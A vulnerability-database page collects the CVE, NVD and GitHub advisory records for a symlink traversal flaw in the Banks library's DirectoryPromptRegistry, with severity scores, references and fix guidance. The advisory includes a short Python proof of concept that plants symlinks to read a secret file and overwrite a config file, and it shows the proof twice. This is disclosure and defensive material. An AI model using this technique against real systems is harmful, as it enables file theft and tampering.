Vulnerability-Lookup

CVE-2026-107716 (GCVE-0-2026-107716)

Vulnerability from cvelistv5 – Published: 2026-10-08 21:33 – Updated: 2026-10-09 15:13

Title

Banks: Symlink traversal and arbitrary file disclosure/overwrite in DirectoryPromptRegistry

Summary

Banks generates meaningful LLM prompts using a simple template language. Prior to 2.5.1, Banks DirectoryPromptRegistry does not reject symbolic links for index.json or discovered and existing .jinja prompt files. In an application where untrusted users can influence a prompt directory, DirectoryPromptRegistry._scan() and DirectoryPromptRegistry.get() can follow a link outside the registry root and disclose a file, while DirectoryPromptRegistry.set(), DirectoryPromptRegistry._save(), and DirectoryPromptRegistry._load() can read or overwrite an external link target. The issue requires attacker influence over the registry directory or its extracted contents. This issue is fixed in version 2.5.1.

Severity

7.3 (High)


                        
                          CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N

SSVC

Exploitation: none Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-10-09 14:54 UTC

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
CWE-59 - Improper Link Resolution Before File Access ('Link Following')

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7588 records in the last 180 days details

References

4 references

URL	Tags
https://github.com/masci/banks/security/advisorie…	x_refsource_CONFIRM
https://github.com/masci/banks/pull/79	x_refsource_MISC
https://github.com/masci/banks/commit/23ed13e50b4…	x_refsource_MISC
https://github.com/masci/banks/releases/tag/v2.5.1	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
masci	banks	Affected: < 2.5.1	guessed

Show details on NVD website

JSON

To clipboard

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          "tags": [
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        {
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          "tags": [
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          "url": "https://github.com/masci/banks/releases/tag/v2.5.1"
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      "title": "Banks: Symlink traversal and arbitrary file disclosure/overwrite in DirectoryPromptRegistry"
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          }
        ],
        "id": "CVE-2026-107716",
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              "value": "Banks generates meaningful LLM prompts using a simple template language. Prior to 2.5.1, Banks DirectoryPromptRegistry does not reject symbolic links for index.json or discovered and existing .jinja prompt files. In an application where untrusted users can influence a prompt directory, DirectoryPromptRegistry._scan() and DirectoryPromptRegistry.get() can follow a link outside the registry root and disclose a file, while DirectoryPromptRegistry.set(), DirectoryPromptRegistry._save(), and DirectoryPromptRegistry._load() can read or overwrite an external link target. The issue requires attacker influence over the registry directory or its extracted contents. This issue is fixed in version 2.5.1."
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}

FKIE_CVE-2026-107716

Vulnerability from fkie_nvd - Published: 2026-10-08 22:17 - Updated: 2026-10-08 22:17

Severity

7.3 (High) - CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/masci/banks/commit/23ed13e50b4e217693fa5f9c30943fac8a41582f
	security-advisories@github.com	https://github.com/masci/banks/pull/79
	security-advisories@github.com	https://github.com/masci/banks/releases/tag/v2.5.1
	security-advisories@github.com	https://github.com/masci/banks/security/advisories/GHSA-556j-vv39-8rqv

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "banks",
          "vendor": "masci",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.5.1"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Banks generates meaningful LLM prompts using a simple template language. Prior to 2.5.1, Banks DirectoryPromptRegistry does not reject symbolic links for index.json or discovered and existing .jinja prompt files. In an application where untrusted users can influence a prompt directory, DirectoryPromptRegistry._scan() and DirectoryPromptRegistry.get() can follow a link outside the registry root and disclose a file, while DirectoryPromptRegistry.set(), DirectoryPromptRegistry._save(), and DirectoryPromptRegistry._load() can read or overwrite an external link target. The issue requires attacker influence over the registry directory or its extracted contents. This issue is fixed in version 2.5.1."
    }
  ],
  "id": "CVE-2026-107716",
  "lastModified": "2026-10-08T22:17:27.480",
  "metrics": {
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "PRESENT",
          "attackVector": "LOCAL",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 7.3,
          "baseSeverity": "HIGH",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "LOW",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "NONE",
          "subIntegrityImpact": "NONE",
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          "vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
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  },
  "published": "2026-10-08T22:17:27.323",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/masci/banks/commit/23ed13e50b4e217693fa5f9c30943fac8a41582f"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/masci/banks/pull/79"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/masci/banks/releases/tag/v2.5.1"
    },
    {
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      "url": "https://github.com/masci/banks/security/advisories/GHSA-556j-vv39-8rqv"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-22"
        },
        {
          "lang": "en",
          "value": "CWE-59"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

GHSA-556J-VV39-8RQV

Vulnerability from github – Published: 2026-10-08 22:10 – Updated: 2026-10-08 22:10

Summary

Banks: Symlink traversal and arbitrary file disclosure/overwrite in DirectoryPromptRegistry

Details

Summary

In banks.registries.DirectoryPromptRegistry, prompt file paths and the index file (index.json) do not refuse symbolic links. When a prompt directory contains or accepts untrusted files (e.g. unpacked archives, shared repositories, or multi-tenant folders), symbolic links pointing outside the registry root can be used to disclose arbitrary files via _scan() / get() or overwrite arbitrary files via set() / _save().

Details

Following PR #77, DirectoryPromptRegistry validates path resolution for prompt names. However: 1. self._index_path (index.json) is not checked for symbolic links. A symlink pointing to an external target (e.g. a configuration file) will be overwritten by _save() upon reg.set(), or read via _load(). 2. In _scan(), discovered .jinja files are opened and indexed without checking if path.is_symlink() or if the resolved path escapes the registry root. A symlink pointing to a sensitive file outside the root is read and indexed. 3. In set(), prompt_file.write_text(...) is called without checking if prompt_file is an existing symbolic link pointing outside the root.

Impact

Arbitrary file disclosure (CWE-59 / CWE-200) and arbitrary file overwrite (CWE-59) in applications where prompt directories can be influenced by untrusted users or extracted from archives.

Proof of Concept

import os
from pathlib import Path
from banks.registries.directory import DirectoryPromptRegistry, DEFAULT_INDEX_NAME
from banks.prompt import Prompt

# Disclose external file via symlink in prompt directory
reg_dir = Path("/tmp/registry")
reg_dir.mkdir(exist_ok=True)
secret = Path("/tmp/secret.txt")
secret.write_text("SECRET_API_TOKEN")

os.symlink(secret, reg_dir / "leak.0.jinja")
reg = DirectoryPromptRegistry(reg_dir, force_reindex=True)
print("Disclosed content:", reg.get(name="leak", version="0").raw)

# Overwrite external file via symlink index
target = Path("/tmp/target.conf")
target.write_text("ORIGINAL")
(reg_dir / DEFAULT_INDEX_NAME).unlink(missing_ok=True)
os.symlink(target, reg_dir / DEFAULT_INDEX_NAME)
reg.set(prompt=Prompt("pwn", name="test", version="1"))
print("Target overwritten:", target.read_text())

Remediation

In _validate_index_path(): verify _index_path is not a symlink and resolves within _path.
In _scan(): reject path.is_symlink() and check path.resolve().is_relative_to(root).
In set(): reject existing symbolic links before writing.

A tested fix and regression tests have been prepared and pushed to: https://github.com/jankesec/banks/tree/fix-directory-registry-symlinks-and-nesting

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.5.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "banks"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.5.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-107716"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-59"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-08T22:10:07Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nIn `banks.registries.DirectoryPromptRegistry`, prompt file paths and the index file (`index.json`) do not refuse symbolic links. When a prompt directory contains or accepts untrusted files (e.g. unpacked archives, shared repositories, or multi-tenant folders), symbolic links pointing outside the registry root can be used to disclose arbitrary files via `_scan()` / `get()` or overwrite arbitrary files via `set()` / `_save()`.\n\n### Details\nFollowing PR #77, `DirectoryPromptRegistry` validates path resolution for prompt names. However:\n1. `self._index_path` (`index.json`) is not checked for symbolic links. A symlink pointing to an external target (e.g. a configuration file) will be overwritten by `_save()` upon `reg.set()`, or read via `_load()`.\n2. In `_scan()`, discovered `.jinja` files are opened and indexed without checking if `path.is_symlink()` or if the resolved path escapes the registry root. A symlink pointing to a sensitive file outside the root is read and indexed.\n3. In `set()`, `prompt_file.write_text(...)` is called without checking if `prompt_file` is an existing symbolic link pointing outside the root.\n\n### Impact\nArbitrary file disclosure (CWE-59 / CWE-200) and arbitrary file overwrite (CWE-59) in applications where prompt directories can be influenced by untrusted users or extracted from archives.\n\n### Proof of Concept\n```python\nimport os\nfrom pathlib import Path\nfrom banks.registries.directory import DirectoryPromptRegistry, DEFAULT_INDEX_NAME\nfrom banks.prompt import Prompt\n\n# Disclose external file via symlink in prompt directory\nreg_dir = Path(\"/tmp/registry\")\nreg_dir.mkdir(exist_ok=True)\nsecret = Path(\"/tmp/secret.txt\")\nsecret.write_text(\"SECRET_API_TOKEN\")\n\nos.symlink(secret, reg_dir / \"leak.0.jinja\")\nreg = DirectoryPromptRegistry(reg_dir, force_reindex=True)\nprint(\"Disclosed content:\", reg.get(name=\"leak\", version=\"0\").raw)\n\n# Overwrite external file via symlink index\ntarget = Path(\"/tmp/target.conf\")\ntarget.write_text(\"ORIGINAL\")\n(reg_dir / DEFAULT_INDEX_NAME).unlink(missing_ok=True)\nos.symlink(target, reg_dir / DEFAULT_INDEX_NAME)\nreg.set(prompt=Prompt(\"pwn\", name=\"test\", version=\"1\"))\nprint(\"Target overwritten:\", target.read_text())\n```\n\n### Remediation\n1. In `_validate_index_path()`: verify `_index_path` is not a symlink and resolves within `_path`.\n2. In `_scan()`: reject `path.is_symlink()` and check `path.resolve().is_relative_to(root)`.\n3. In `set()`: reject existing symbolic links before writing.\n\nA tested fix and regression tests have been prepared and pushed to:\nhttps://github.com/jankesec/banks/tree/fix-directory-registry-symlinks-and-nesting",
  "id": "GHSA-556j-vv39-8rqv",
  "modified": "2026-10-08T22:10:07Z",
  "published": "2026-10-08T22:10:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/masci/banks/security/advisories/GHSA-556j-vv39-8rqv"
    },
    {
      "type": "WEB",
      "url": "https://github.com/masci/banks/pull/79"
    },
    {
      "type": "WEB",
      "url": "https://github.com/masci/banks/commit/23ed13e50b4e217693fa5f9c30943fac8a41582f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/masci/banks"
    },
    {
      "type": "WEB",
      "url": "https://github.com/masci/banks/releases/tag/v2.5.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Banks: Symlink traversal and arbitrary file disclosure/overwrite in DirectoryPromptRegistry"
}

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CVE-2026-107716 (GCVE-0-2026-107716)

FKIE_CVE-2026-107716

GHSA-556J-VV39-8RQV

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